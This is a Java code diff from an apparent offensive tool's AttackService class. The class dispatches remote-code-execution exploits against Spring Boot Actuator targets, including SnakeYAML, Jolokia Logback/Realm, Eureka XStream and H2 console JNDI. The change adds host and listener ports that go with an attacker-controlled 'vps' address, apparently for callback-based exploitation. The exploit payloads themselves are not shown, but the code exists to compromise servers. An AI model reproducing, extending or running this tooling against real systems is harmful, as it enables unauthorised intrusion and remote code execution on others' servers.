@@ -36,59 +36,63 @@ public AttackService(String targetAddressText, String httpTimeoutText) {
3636// this.infoCheck = new SpringBootInfoCheck();
3737 }
3838
39- public boolean gadgetSend (String target , String vps , String gadget , String echo ){
39+ public boolean gadgetSend (String target , String vps , String gadget , String [] ports ){
4040 SpringBootInfoCheck infoCheck = new SpringBootInfoCheck ();
4141 boolean flag = VersionUtil .isVersion (target );
4242// boolean flag = true;
4343// String type = "inje"
4444 String env = "/env" ;
4545 String env2 = "/actuator/env" ;
46+ String hport = ports [0 ];
47+ String lport = ports [1 ];
4648 System .out .println (target );
4749 System .out .println (vps );
4850 System .out .println (gadget );
49- System .out .println (echo );
51+ System .out .println ("hport" + hport );
52+ System .out .println ("lport" + lport );
53+ // System.out.println(echo);
5054
5155 try {
5256 if (flag ){
5357 if (gadget .equalsIgnoreCase ("SnakeYAMLRCE" )) {
5458 SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
55- return exp .sendExp (target ,vps ,echo ,flag );
59+ return exp .sendExp (target ,vps ,hport ,flag );
5660 }else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
5761 EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
5862 exp .hasEurekaXstreamRCE (target );
5963 return false ;
6064 }else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
6165 JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
62- return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
66+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,hport ,flag );
6367
6468 }else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
6569 JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
66- return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,echo ,flag );
70+ return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,hport ,flag );
6771 }else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
6872 H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
69- return exp .hasH2DatabaseConsoleJNDIRCE (target , vps );
73+ return exp .hasH2DatabaseConsoleJNDIRCE (target , vps , lport );
7074 }
7175
7276 }else {
7377 if (gadget .equalsIgnoreCase ("SnakeYAMLRCE" )) {
7478 SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
75- return exp .sendExp (target ,vps ,echo ,flag );
79+ return exp .sendExp (target ,vps ,hport ,flag );
7680 }else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
7781 EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
7882 exp .hasEurekaXstreamRCE (target );
7983 return false ;
8084 }else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
8185 JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
82- return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
86+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,hport ,flag );
8387
8488 }else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
8589 JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
86- return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,echo ,flag );
90+ return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,hport ,flag );
8791
8892
8993 }else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
9094 H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
91- return exp .hasH2DatabaseConsoleJNDIRCE (target , vps );
95+ return exp .hasH2DatabaseConsoleJNDIRCE (target , vps , lport );
9296
9397 }
9498 }
0 commit comments